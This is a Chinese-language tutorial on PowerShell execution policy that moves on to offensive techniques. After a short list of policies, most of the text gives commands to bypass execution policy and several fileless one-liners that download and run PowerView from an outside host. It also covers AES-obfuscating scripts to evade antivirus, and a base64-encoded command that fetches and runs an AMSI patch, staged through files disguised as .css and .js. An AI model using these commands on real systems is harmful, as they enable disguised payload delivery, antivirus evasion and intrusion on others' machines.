PowerShell执行策略
PowerShell 执行策略是为提高脚本安全性而设定的一种策略。它可以控制脚本如何在系统中运行。PowerShell 提供了多种执行策略,包括:
- Restricted – 默认的执行策略,不允许脚本运行。
- RemoteSigned – 允许本地脚本运行,远程脚本必须被签名。
- Unrestricted – 允许所有脚本运行,但是在运行下载的脚本前会有警告提示。
- AllSigned – 所有脚本都必须被信任的发布者签名。
- Bypass – 忽略执行策略,允许所有脚本运行。
查看当前执行策略
你可以使用 Get-ExecutionPolicy cmdlet 查看当前的执行策略:
Get-ExecutionPolicy
设置执行策略
使用 Set-ExecutionPolicy
cmdlet 可以设置执行策略。例如,使用以下命令将执行策略设置为 RemoteSigned:(执行该命令需要管理员权限)
Set-ExecutionPolicy RemoteSigned
绕过执行策略
在启动PowerShell时可以设定执行策略而且不需要管理员权限
Powershell -exec bypass
Powershell -exec bypass -c "<commend>"
PowerShell无文件执行
// 利用Net.WebClient发起请求脚本并执行
iex (New-Object Net.WebClient).DownloadString('http://10.10.10.128:8888/Powerview.ps1')
// PSv3及以上:
iex (iwr 'http://10.10.10.128:8888/Powerview.ps1')
// MSXML2发起HTTP请求脚本并执行
$h=New-object -ComObject
Msxml2.XMLHTTP;$h.Open('GET','http://10.10.10.128:8888/Powerview.ps1',$false);$h.send();iex $h.responseText
// NET.WebRequest发起HTTP请求脚本并执行
$wr=[System.NET.WebRequest]::Create('http://10.10.10.128:8888/Powerview.ps1')
$r=$wr.GetResponse()
iex ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
Bypass AMSI
AES-Encode加密脚本+patch AMSI
// 去除注释
sed '/<#/,/#>/d’ PowerView.ps1 > new_pv.ps1
cat new_pv.ps1 |grep -Ev '$^' |grep -v '^#' > new_pv2.ps1
// AES加密免杀
. .\AES-Encoder.ps1
Invoke-AES-Encoder -InFile ..\new_pv2.ps1 -OutFile Powerview_en.ps1
// 无文件执行加密后的脚本
// 利用Net.WebClient发起请求脚本并执行
iex (New-Object Net.WebClient).DownloadString('http://10.10.10.128:8888/Powerview_en.ps1')
GitHub – Chainski/AES-Encoder: PowerShell Obfuscator. A PowerShell script anti-virus evasion tool
Fileless + Patch AMSI
// File1.css:PatchFile用于Patch AMSI
([TeXt.EnCoDiNg]::uTf8.gEtstRInG([Convert]::FromBase64String("JFByb2dyZXNzUHJlZmVyZW5jZSA9ICdTaWxlbnRseUNvbnRpbnVlJztbTmV0LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpTZWN1cml0eVByb3RvY29sID0gW05ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyO2lleCAoaXdyICJodHRwczovL2dpdGh1Yi5jb20vQ2hhaW5za2kvQUVTLUVuY29kZXIvcmF3L21haW4vYW1zaV9wYXRjaC5wczEiIC11c2ViKQ==")))|i`e`x
// File2.css:PowerShell脚本内容
// File3.js:下载并执行File1和File2
iex (New-Object Net.WebClient).DownloadString('http://webserver/File1.css')
iex (New-Object Net.WebClient).DownloadString('http://webserver/File2.css')
// 用python开启临时HTTP服务
sudo python -m http.server -p 80
// 也可以用PHP开启临时HTTP服务
sudo php -S 0:80
// 加载并执行脚本
iex (New-Object Net.WebClient).DownloadString('http://webserver/File3.js')